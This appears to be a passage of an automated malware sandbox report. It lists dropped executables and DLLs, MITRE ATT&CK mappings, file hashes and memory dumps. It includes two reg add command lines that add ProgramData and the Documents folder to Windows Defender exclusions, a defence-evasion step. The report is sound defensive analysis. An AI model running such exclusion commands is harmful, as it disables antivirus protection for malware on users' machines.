C:\Program Files (x86)\tj0DaN\tj0DaN.exe
"C:\Program Files (x86)\tj0DaN\tj0DaN.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:5176

C:\Program Files (x86)\T23AE78e\ov32THisG.exe
"C:\Program Files (x86)\T23AE78e\ov32THisG.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:4520

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:5784
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4532

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:1596
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2396

C:\Program Files (x86)\tj0DaN\tj0DaN.exe
"C:\Program Files (x86)\tj0DaN\tj0DaN.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:5168

C:\Program Files (x86)\T23AE78e\ov32THisG.exe
"C:\Program Files (x86)\T23AE78e\ov32THisG.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:4800

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

XPSPLOG.dll

Path C:\Program Files (x86)\T23AE78e\XPSPLOG.dll
Size 4.6MB
SHA256 bff954699a5c61646d854a07d9b78cef9809ccdf1759eaa125dcf5eba74ce83d
MD5 d15acd6a390addd8f6f719d16f8b66b9
SHA1 35171e8529db6519f00e8aa853e05eb06997e580
SHA512 7b7db7f84304fde28955a85caaa3511c19b8aba7adda6ee046449cf8972719a979879a1c49f17ac80633d47301bf6fe4491b134811312a4043e1968fbcd4b443
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmy1:BMWKfU+BcUTHCCCfqCiUffn1
TLSH
T169263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\T23AE78e\image.png
Size 4.8MB
SHA256 f3f2b9e75ea508948c2d1897c55502ff8f418935edea3ef24931ed1c8009aa9d
MD5 d740014d8316bef85caef974d19e5b13
SHA1 f463bbaae796a56b120dccd9f7cd12ee40d777c2
SHA512 0fb1c970afdd0e056d003c4443357db3b00078cc94ca8204bf94f3a332e32523f19bbc16fb7201cad7121c68ecd0d19f2c38aff7669f347f492f5f1d2c569583
SSDEEP 98304:P/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqncq0/bsf8IWkKo5M2w:PMpJ0kVNLAU4xWWDI3ieO+n1yAFWkh5Q
TLSH
T11636334FE6EFBED9C39CF7EA71098A30D63A8FBE1542292560229D14B63D7073293505
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\tj0DaN\XPSPLOG.dll
Size 4.6MB
SHA256 8c88a5309861178a87fc1fef7759de30a8f41fb7bffd07471966d56c1f8caddf
MD5 1d32f12eef8e3d15ecabc8a074f191d1
SHA1 a7f53b382447951d3b568b7532cd9c219db95551
SHA512 dac48b04b28450bba2bc51f15d0b6e4ba56d534e1163662616b20e17bb48e22536be48942bb41d1f327972aecfdc055747af226e36d66333daada5f84093c7d9
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyV:BMWKfU+BcUTHCCCfqCiUffnV
TLSH
T1DC263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\tj0DaN\image.png
Size 4.8MB
SHA256 4dff09bbd103688bed6b6cd8598f54de0084bb2f4d9b40710ff3f2198e215852
MD5 850bd297aff45774b7c180349effc7be
SHA1 ca0091b08e4e7c531fd186b16521bb8e5a81d893
SHA512 54ab6e10d0bac2a55ebafa0603d0a90edf6ce6b75c0464e08a2acdea5ebba6c0f069c780652ba59855f528463063f5076b8d626db6ddfc6674d2b7916289cf77
SSDEEP 98304:y/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqncq0/bsf8IWkKo5M2w:yMpJ0kVNLAU4xWWDI3ieO+n1yAFWkh5Q
TLSH
T19436334FE6EFBED9C39CF7EA71098A30D63A8FBE1542292560229D14B63D7073293505
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

thumbs.db

Path C:\Program Files (x86)\tj0DaN\thumbs.db
Size 358KB
SHA256 0ba41fbbc8233808256b15a15d2bc668132bbc5c8276ad169215b9824f3981d0
MD5 072887f5fa8ccd1c73f237b9560d7cd7
SHA1 08ec59eca325368b0e7f73ab271c4989ce956922
SHA512 9a22bc0ade51eb455298bc54b7a72721acc19cded23e7f1bb093915f27b4e45042157a7dda60d3e92da30f09d941dced2bf9156a5d5ac2229d6a5d5b7fafdba4
SSDEEP 6144:5iACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:Y8u69CghoQxoMTFQqtKFCz7mb/
TLSH
T10674F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tj0DaN.exe

Path C:\Program Files (x86)\tj0DaN\tj0DaN.exe
Size 145KB
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
TLSH
T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 1KB
SHA256 61eece19b5a6661e11fc158c1d7511579bcaa528e4305f6766ae9e3d6e66581f
MD5 12db24969f18c6fbaf0989eaa4eb628f
SHA1 011c9b89ee43a11be434d19396d08b7d5baeb9ee
SHA512 0984d9d36639c73f2b1e99cec46daf4c8a1fe8ef2bcfd2aebba123586ccff080ccd58c873998bf734e7cf696010bce15d3adf527ae8cc6c63df27d77b31544c2
TLSH
T12E31EBBB1B7B7541AF2ECEC51AC8E5311CE4E2806DC5189A5144C4E45F483B13F4EA0C
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 1KB
SHA256 d9867d8b403f33e33ae6fe37d25f6b29941b54a514b45655b340ce8b51e7f069
MD5 0fa64627e975c6926b8e6f8bffe984b5
SHA1 780457f8da433291ac3f311b77e8b58f8eee63b3
SHA512 96c21d54eefc0faf1994ff27af8f570a8799d06ca9f2be87b46313a09bdb1cffb4e2912a125d2a91fb9a68496227e937f73a07c4eb7e405fea674bda29764947
TLSH
T13731D8D69A3D1002DB0C9F7922D4E23B7DF591A45CE85851233DD1AA460AFBBBFC5410
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 512B
SHA256 a3e0cd5efd9261cd3092868e242ac287d3ccf3cf3e3c7d0e0b103c7b464118cf
MD5 344293285e29f0fce49d08bba8861581
SHA1 562fb78bd858f81f83c92f5073d96babfba413a7
SHA512 e55a76ec4b1fb7e417d7369cf0830e69f39206d919f4e70c213acba753382414dad7d43ad861ee1259123f6d2aa470f8fb59cebddec0be664b265ebc0a8a8e1b
TLSH
T1E4F0540409BC813DF433DD3846EA7DD9077BF60524068AAC0661870956566415D52579
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 506B
SHA256 561d3f5807f0003c6663e0b1cd13f705ddec49e69034e6c3283570b29d53a100
MD5 8893971bcd858dfd4a008f248220e317
SHA1 fcedf055c2df408ba1f29942e7c48818c94fc001
SHA512 b9af7774576f87eab3e8a081080d2810d5215bc90f9b98fb512d53790c4f63564f15a166eb44f517235d85f95c62ac0ca2ff739e2aa3c987e187fcd3168ec3e9
TLSH
T125F05C3443E9404FF07BF1B986D236F17566F52310466ABE0AAA42841A63C424C82268
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_0dnz3xbp.qty.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0dnz3xbp.qty.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

destopbak.ini

Path C:\Users\Public\Music\destopbak.ini
Size 2B
SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
MD5 7e74f75663e5b5a4f3452a4c603ee45d
SHA1 d5114b086b721f2c87ea7152025792958ab4c629
SHA512 2f5d0d45593487bebc2ccf968eaf2a4a3bde1d5a29c7c2b5ad411e041c0d3b7a46be439ed7083093057a96030683b9defbed1a2ef7882b3e64cf3fbc7c9cf12f
MD5 SHA1 SHA512

Submit Download

UxEnhance64.dll

Path C:\Users\Public\b2QaPa\UxEnhance64.dll
Size 3.1MB
SHA256 974fe69b6e3754e8cc6bc4cac936bc446d076e6b1b485a99bc85b4f1f688ee73
MD5 431c993aa8ccf9d61cc619c28407639d
SHA1 31704cac4bed36b90835c06067c21280001157f9
SHA512 a79d35a05f1b2c87b4282c62e441bcba19f36b2f211555a01348ab49290ecbaa45b251ff05c709b9d2e496a238e9ed85e26a0464695553d0cd30a9f4682584e8
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+X:P9m29xx3Tiqt06ox6+z2rNNrKoX
TLSH
T100E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\b2QaPa\adoresd.dat
Size 4.8MB
SHA256 43e83c4c8efcf13c39561c5362affe1b36dbd8ae2303e89e371d765eb18b919c
MD5 e8083fd7f2277a3ca08a4f61487a2aae
SHA1 f11cca9578b25792a7ba67f3a65188d6fcfd6bec
SHA512 5d84d221d652a33f8c2102340d14eb4534cc81bf8541cbe644972033e49d35fc996a69e130191831438690bbda04df381c4475a38a4da1eef2ceb31e976a6ab6
SSDEEP 98304:zWjdk+BWRdgiQH5fi2EP8QppMsYpfemnFjrIROuF7dYutYONNClD:zWj3WRdRQH5fimPGmNc7dBtYOc
TLSH
T1EB3633AF2FC2F55F5582315954D8E0216D7FFEC626CA2B5D6E7888F7A32210A04BD24C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

h0cThC.exe

Path C:\Users\Public\b2QaPa\h0cThC.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\b2QaPa\msadox.tb
Size 8KB
SHA256 721ed70b11511e14b96be64de150f2b056dce33ef2f6f5d6d68a3a751c31f5d2
MD5 2c9731077d3b766ad4f969cd57b06606
SHA1 0011049e909a86c710019ac32d831a1c2ab3e8d1
SHA512 d2d609613ea82d1cd34dda682319ff49bafc06f098ec9062328009a92030c21dd1dee78e484b710966fcdf02c33132352e58f08f385a2b3f1544bccd9b47c6b9
SSDEEP 192:WqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:WsZqZOXQ3uqvR2Kfzp
TLSH
T108029E05D7B20DC7D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

xxxx.ini

Path \??\c:\xxxx.ini
Size 2B
SHA256 7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6
MD5 81051bcc2cf1bedf378224b0a93e2877
SHA1 ba8ab5a0280b953aa97435ff8946cbcbb2755a27
SHA512 1b302a2f1e624a5fb5ad94ddc4e5f8bfd74d26fa37512d0e5face303d8c40eee0d0ffa3649f5da43f439914d128166cb6c4774a7caa3b174d7535451eb697b5d
MD5 SHA1 SHA512

Submit Download

memory/2356-592-0x00000215B70D0000-0x00000215B79A7000-memory.dmp

Download

memory/2356-593-0x00000215B70D0000-0x00000215B79A7000-memory.dmp

Download

memory/2356-594-0x00007FF93CD30000-0x00007FF93CD32000-memory.dmp

Download

memory/2356-585-0x00007FF93CD40000-0x00007FF93CD42000-memory.dmp

Download

memory/2356-586-0x00000215B70D0000-0x00000215B79A7000-memory.dmp

Download

memory/2356-582-0x00000215B70D0000-0x00000215B79A7000-memory.dmp

Download

memory/2356-579-0x00007FF91E6E0000-0x00007FF91EBFE000-memory.dmp

Download

memory/2356-590-0x00000215B70D0000-0x00000215B79A7000-memory.dmp

Download

memory/2356-591-0x00000215B70D0000-0x00000215B79A7000-memory.dmp

Download

memory/4236-755-0x0000000005D60000-0x0000000005DC6000-memory.dmp

Download

memory/4236-775-0x0000000007A80000-0x0000000007B16000-memory.dmp

Download

memory/4236-759-0x00000000064D0000-0x00000000064EE000-memory.dmp

Download

memory/4236-760-0x0000000006520000-0x000000000656C000-memory.dmp

Download

memory/4236-761-0x0000000006A70000-0x0000000006AA2000-memory.dmp

Download

memory/4236-762-0x000000006F0E0000-0x000000006F12C000-memory.dmp

Download

memory/4236-770-0x0000000006AB0000-0x0000000006ACE000-memory.dmp

Download

memory/4236-771-0x0000000007720000-0x00000000077C3000-memory.dmp

Download

memory/4236-772-0x0000000007E50000-0x00000000084CA000-memory.dmp

Download

memory/4236-773-0x0000000007800000-0x000000000781A000-memory.dmp

Download

memory/4236-774-0x0000000007870000-0x000000000787A000-memory.dmp

Download

memory/4236-747-0x0000000005730000-0x0000000005D58000-memory.dmp

Download

memory/4236-776-0x0000000007A00000-0x0000000007A11000-memory.dmp

Download

memory/4236-748-0x0000000005620000-0x0000000005642000-memory.dmp

Download

memory/4236-746-0x0000000002F30000-0x0000000002F66000-memory.dmp

Download

memory/4236-749-0x00000000056C0000-0x0000000005726000-memory.dmp

Download

memory/4236-758-0x0000000005FE0000-0x0000000006334000-memory.dmp

Download

memory/4520-739-0x00000000037C0000-0x0000000003F9D000-memory.dmp

Download

memory/4520-731-0x0000000000FE0000-0x0000000000FE1000-memory.dmp

Download

memory/4520-742-0x0000000000FE0000-0x0000000000FE1000-memory.dmp

Download

memory/4520-738-0x0000000001000000-0x0000000001001000-memory.dmp

Download

memory/4520-733-0x00000000729D0000-0x000000007311A000-memory.dmp

Download

memory/4520-736-0x00000000037C0000-0x0000000003F9D000-memory.dmp

Download

memory/4800-801-0x0000000003700000-0x0000000003EDD000-memory.dmp

Download

memory/4800-525-0x00007FF92CF30000-0x00007FF92CF40000-memory.dmp

Download

memory/4800-524-0x00000000004F0000-0x00000000004FE000-memory.dmp

Download

memory/4800-0-0x00000000004F0000-0x00000000004FE000-memory.dmp

Download

memory/4800-804-0x0000000000BE0000-0x0000000000BE1000-memory.dmp

Download

memory/4800-504-0x00007FF92CF30000-0x00007FF92CF40000-memory.dmp

Download

memory/4800-800-0x0000000000C00000-0x0000000000C01000-memory.dmp

Download

memory/4800-789-0x0000000000BE0000-0x0000000000BE1000-memory.dmp

Download

memory/4800-790-0x00000000729D0000-0x000000007311A000-memory.dmp

Download

memory/4800-793-0x0000000003700000-0x0000000003EDD000-memory.dmp

Download

memory/4800-2-0x0000000000500000-0x000000000050C000-memory.dmp

Download

memory/4800-1-0x00000000004F0000-0x00000000004FE000-memory.dmp

Download

memory/4944-672-0x0000000001870000-0x0000000001871000-memory.dmp

Download

memory/4944-666-0x0000000074D20000-0x000000007546A000-memory.dmp

Download

memory/4944-665-0x00000000013E0000-0x00000000013E1000-memory.dmp

Download

memory/4944-707-0x0000000003B70000-0x000000000434D000-memory.dmp

Download

memory/4944-718-0x0000000003B70000-0x000000000434D000-memory.dmp

Download

memory/4944-717-0x0000000003B70000-0x000000000434D000-memory.dmp

Download

memory/4944-693-0x0000000010000000-0x0000000010061000-memory.dmp

Download

memory/4944-744-0x0000000003B70000-0x000000000434D000-memory.dmp

Download

memory/4944-691-0x0000000003160000-0x0000000003174000-memory.dmp

Download

memory/4944-677-0x0000000003B70000-0x000000000434D000-memory.dmp

Download

memory/4944-673-0x0000000003B70000-0x000000000434D000-memory.dmp

Download

memory/4944-670-0x0000000003B70000-0x000000000434D000-memory.dmp

Download

memory/5168-783-0x0000000001570000-0x0000000001571000-memory.dmp

Download

memory/5168-795-0x0000000001590000-0x0000000001591000-memory.dmp

Download

memory/5168-799-0x0000000001570000-0x0000000001571000-memory.dmp

Download

memory/5168-796-0x0000000003B90000-0x000000000436D000-memory.dmp

Download

memory/5168-787-0x0000000003B90000-0x000000000436D000-memory.dmp

Download

memory/5168-784-0x0000000074D20000-0x000000007546A000-memory.dmp

Download

memory/5176-723-0x0000000074D20000-0x000000007546A000-memory.dmp

Download

memory/5176-722-0x0000000000FD0000-0x0000000000FD1000-memory.dmp

Download

memory/5692-546-0x000002A41F6A0000-0x000002A41FF77000-memory.dmp

Download

memory/5692-545-0x000002A41F6A0000-0x000002A41FF77000-memory.dmp

Download

memory/5692-550-0x000002A41F6A0000-0x000002A41FF77000-memory.dmp

Download

memory/5692-538-0x00007FF93CD40000-0x00007FF93CD42000-memory.dmp

Download

memory/5692-543-0x000002A41F6A0000-0x000002A41FF77000-memory.dmp

Download

memory/5692-560-0x000002A4203C0000-0x000002A42044A000-memory.dmp

Download

memory/5692-565-0x000002A41F6A0000-0x000002A41FF77000-memory.dmp

Download

memory/5692-559-0x000002A4203C0000-0x000002A42044A000-memory.dmp

Download

memory/5692-558-0x000002A4203C0000-0x000002A42044A000-memory.dmp

Download

memory/5692-555-0x000002A41F6A0000-0x000002A41FF77000-memory.dmp

Download

memory/5692-544-0x000002A41F6A0000-0x000002A41FF77000-memory.dmp

Download

memory/5692-539-0x000002A41F6A0000-0x000002A41FF77000-memory.dmp

Download

memory/5692-564-0x000002A41F6A0000-0x000002A41FF77000-memory.dmp

Download

memory/5692-561-0x000002A4203C0000-0x000002A42044A000-memory.dmp

Download

memory/5692-557-0x000002A41FF80000-0x000002A41FFCE000-memory.dmp

Download

memory/5692-536-0x000002A41F6A0000-0x000002A41FF77000-memory.dmp

Download

memory/5692-530-0x00007FF93CD30000-0x00007FF93CD32000-memory.dmp

Download

memory/5692-531-0x00007FF91E6E0000-0x00007FF91EBFE000-memory.dmp

Download